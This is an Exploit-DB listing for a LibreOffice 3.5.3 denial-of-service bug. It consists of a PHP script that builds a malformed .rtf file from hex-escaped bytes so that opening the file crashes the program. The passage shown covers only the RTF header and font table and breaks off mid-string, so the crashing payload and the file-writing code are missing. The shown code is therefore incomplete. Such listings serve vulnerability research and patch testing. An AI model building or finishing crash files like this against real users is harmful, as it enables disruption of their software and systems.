Exploit-DB #18940
Description: LibreOffice 3.5.3 - '.rtf' FileOpen Crash
Type: dos
Platform: windows
Date: 2012-05-28
Author: shinnai

Exploit:
<?php
 #------------------------------------------------------------------------------#
 # LibreOffice 3.5.3 - crash when FILEOPEN particular .rtf                      #
 #                                                                              #
 # author:    shinnai                                                           #
 # mail:      shinnai[at]autistici[dot]org                                      #
 # site:      http://www.shinnai.altervista.org                                 #
 #            http://didasec.wordpress.com                                      #
 #                                                                              #
 # Tested on: Microsoft Windows 7 Professional                                  #
 #            6.1.7601 Service Pack 1 build 7601                                #
 #                                                                              #
 # This was written for educational purpose. Use it at your own risk.           #
 # Author will be not responsible for any damage.                               #
 #------------------------------------------------------------------------------#

$myDoc = "\x7B\x5C\x72\x74\x66\x31\x5C\x61\x6E\x73\x69\x5C\x64\x65\x66\x66".
         "\x30\x5C\x61\x64\x65\x66\x6C\x61\x6E\x67\x31\x30\x32\x35\x0D\x0A".
         "\x7B\x5C\x66\x6F\x6E\x74\x74\x62\x6C\x7B\x5C\x66\x30\x5C\x66\x72".
         "\x6F\x6D\x61\x6E\x5C\x66\x70\x72\x71\x32\x5C\x66\x63\x68\x61\x72".
         "\x73\x65\x74\x30\x20\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52".
         "\x6F\x6D\x61\x6E\x3B\x7D\x7B\x5C\x66\x31\x5C\x66\x72\x6F\x6D\x61".
         "\x6E\x5C\x66\x70\x72\x71\x32\x5C\x66\x63\x68\x61\x72\x73\x65\x74".
         "\x32\x20\x53\x79\x6D\x62\x6F\x6C\x3B\x7D\x7B\x5C\x66\x32\x5C\x66".
         "\x73\x77\x69\x73\x73\x5C\x66\x70\x72\x71\x32\x5C\x66\x63\x68\x61".
         "\x72\x73\x65\x74\x30\x20\x41\x72\x69\x61\x6C\x3B\x7D\x7B\x5C\x66".
         "\x33\x5C\x66\x72\x6F\x6D\x61\x6E\x5C\x66\x70\x72\x71\x32\x5C\x66".
         "\x63\x68\x61\x72\x73\x65\x74\x31\x32\x38\x20\x54\x69\x6D\x65\x73".
         "\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x3B\x7D\x7B\x5C\x66\x34".
         "\x5C\x66\x72\x6F\x6D\x61\x6E\x5C\x66\x70\x72\x71\x32\x5C\x66\x63".
         "\x68\x61\x72\x73\x65\x74\x31\x32\x38\x20\x41\x72\x69\x61\x6C\x20".
         "\x4E\x61\x72\x72\x6F\x77\x3B\x7D\x7B\x5C\x66\x35\x5C\x66\x72\x6F".
         "\x6D\x61\x6E\x5C\x66\x70\x72\x71\x30\x5C\x66\x63\x68\x61\x72\x73".
         "\x65\x74\x31\x32\x38\x20\x41\x72\x69\x61\x6C\x20\x4E\x61\x72\x72".
         "\x6F\x77\x3B\x7D\x7B\x5C\x66\x36\x5C\x66\x72\x6F\x6D\x61\x6E\x5C".
         "\x66\x70\x72\x71\x32\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x32".
         "\x38\x20\x53\x79\x6D\x62\x6F\x6C\x3B\x7D\x7B\x5C\x66\x37\x5C\x66".
         "\x72\x6F\x6D\x61\x6E\x5C\x66\x70\x72\x71\x30\x5C\x66\x63\x68\x61".
         "\x72\x73\x65\x74\x31\x32\x38\x20\x53\x79\x6D\x62\x6F\x6C\x3B\x7D".
         "\x7B\x5C\x66\x38\x5C\x66\x72\x6F\x6D\x61\x6E\x5C\x66\x70\x72\x71".
         "\x32\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x32\x38\x20\x57\x69".
         "\x6E\x67\x64\x69\x6E\x67\x73\x3B\x7D\x7B\x5C\x66\x39\x5C\x66\x72".
         "\x6F\x6D\x61\x6E\x5C\x66\x70\x72\x71\x30\x5C\x66\x63\x68\x61\x72".
         "\x73\x65\x74\x31\x32\x38\x20\x57\x69\x6E\x67\x64\x69\x6E\x67\x73".
         "\x3B\x7D\x7B\x5C\x66\x31\x30\x5C\x66\x72\x6F\x6D\x61\x6E\x5C\x66".
         "\x70\x72\x71\x30\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x32\x38".
         "\x20\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E".
         "\x3B\x7D\x7B\x5C\x66\x31\x31\x5C\x66\x6E\x69\x6C\x5C\x66\x70\x72".
         "\x71\x32\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x30\x20\x4D\x69\x63".
         "\x72\x6F\x73\x6F\x66\x74\x20\x59\x61\x48\x65\x69\x3B\x7D\x7B\x5C".
         "\x66\x31\x32\x5C\x66\x6E\x69\x6C\x5C\x66\x70\x72\x71\x32\x5C\x66".
         "\x63\x68\x61\x72\x73\x65\x74\x31\x32\x38\x20\x53\x69\x6D\x53\x75".
         "\x6E\x3B\x7D\x7B\x5C\x66\x31\x33\x5C\x66\x6E\x69\x6C\x5C\x66\x70".
         "\x72\x71\x32\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x32\x38\x20".
         "\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x20".
         "\x28\x41\x72\x61\x62\x69\x63\x29\x3B\x7D\x7B\x5C\x66\x31\x34\x5C".
         "\x66\x6E\x69\x6C\x5C\x66\x70\x72\x71\x30\x5C\x66\x63\x68\x61\x72".
         "\x73\x65\x74\x31\x32\x38\x20\x54\x69\x6D\x65\x73\x20\x4E\x65\x77".
         "\x20\x52\x6F\x6D\x61\x6E\x20\x28\x41\x72\x61\x62\x69\x63\x29\x3B".
         "\x7D\x7B\x5C\x66\x31\x35\x5C\x66\x6E\x69\x6C\x5C\x66\x70\x72\x71".
         "\x32\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x32\x38\x20\x54\x69".
         "\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x3B\x7D\x7B".
         "\x5C\x66\x31\x36\x5C\x66\x6E\x69\x6C\x5C\x66\x70\x72\x71\x30\x5C".
         "\x66\x63\x68\x61\x72\x73\x65\x74\x31\x32\x38\x20\x54\x69\x6D\x65".
         "\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x3B\x7D\x7B\x5C\x66".
         "\x31\x37\x5C\x66\x6E\x69\x6C\x5C\x66\x70\x72\x71\x32\x5C\x66\x63".
         "\x68\x61\x72\x73\x65\x74\x30\x20\x4D\x61\x6E\x67\x61\x6C\x3B\x7D".
         "\x7B\x5C\x66\x31\x38\x5C\x66\x6E\x69\x6C\x5C\x66\x70\x72\x71\x30".
         "\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x32\x38\x20\x4D\x61\x6E".
         "\x67\x61\x6C\x3B\x7D\x7B\x5C\x66\x31\x39\x5C\x66\x6E\x69\x6C\x5C".
         "\x66\x70\x72\x71\x32\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x32".
         "\x38\x20\x4D\x61\x6E\x67\x61\x6C\x3B\x7D\x7B\x5C\x66\x32\x30\x5C".
         "\x66\x6E\x69\x6C\x5C\x66\x70\x72\x71\x32\x5C\x66\x63\x68\x61\x72".
         "\x73\x65\x74\x31\x32\x38\x20\x43\x61\x6D\x62\x72\x69\x61\x20\x4D".
         "\x61\x74\x68\x3B\x7D\x7B\x5C\x66\x32\x31\x5C\x66\x6E\x69\x6C\x5C".
         "\x66\x70\x72\x71\x30\x5C\x66\x63\x68\x61\x72\x73\x65\x74\x31\x32".
         "\x38\x20\x43\x61\x6D\x62\x72\x69\x61\x20\x4D\x61\x74\x68\x3B\x7D".
         "\x7D\x0D\x0A\x7B\x5C\x63\x6F\x6C\x6F\x72\x74\x62\x6C\x3B\x5C\